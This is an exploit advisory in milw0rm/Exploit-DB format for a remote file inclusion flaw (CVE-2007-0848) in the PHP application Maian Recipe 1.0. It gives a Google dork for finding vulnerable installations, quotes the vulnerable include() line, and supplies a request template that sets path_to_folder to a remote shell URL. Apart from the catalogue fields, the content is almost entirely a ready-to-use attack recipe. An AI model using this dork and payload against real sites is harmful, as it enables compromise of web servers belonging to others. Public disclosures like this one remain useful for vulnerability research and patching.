Maian Recipe 1.0 - 'path_to_folder' Remote File Inclusion

Author: Denven
type: webapps
platform: php
port: 
date_added: 2007-02-06 
date_updated: 2016-12-13 
verified: 1 
codes: OSVDB-33689;CVE-2007-0848;OSVDB-33125 
tags: 
aliases:  
screenshot_url:  
application_url: 

*****************
Found by Denven *
*****************
*****************
*****************
Script: http://www.maianscriptworld.co.uk/freestuff_1975_recipe.html
*****************
Google Dork: "Powered by Maian Recipe v1.0"
*****************
ERROR:
classes/class_mail.inc.php :

include($path_to_folder.'classes/class.phpmailer.php');


****************************************************************************
**********
RFI:

http://www.SITE.com/path/classes/class_mail.inc.php?path_to_folder=[shell]

****************************************************************************
**********
denven[at]gmail[dot]com

# milw0rm.com [2007-02-07]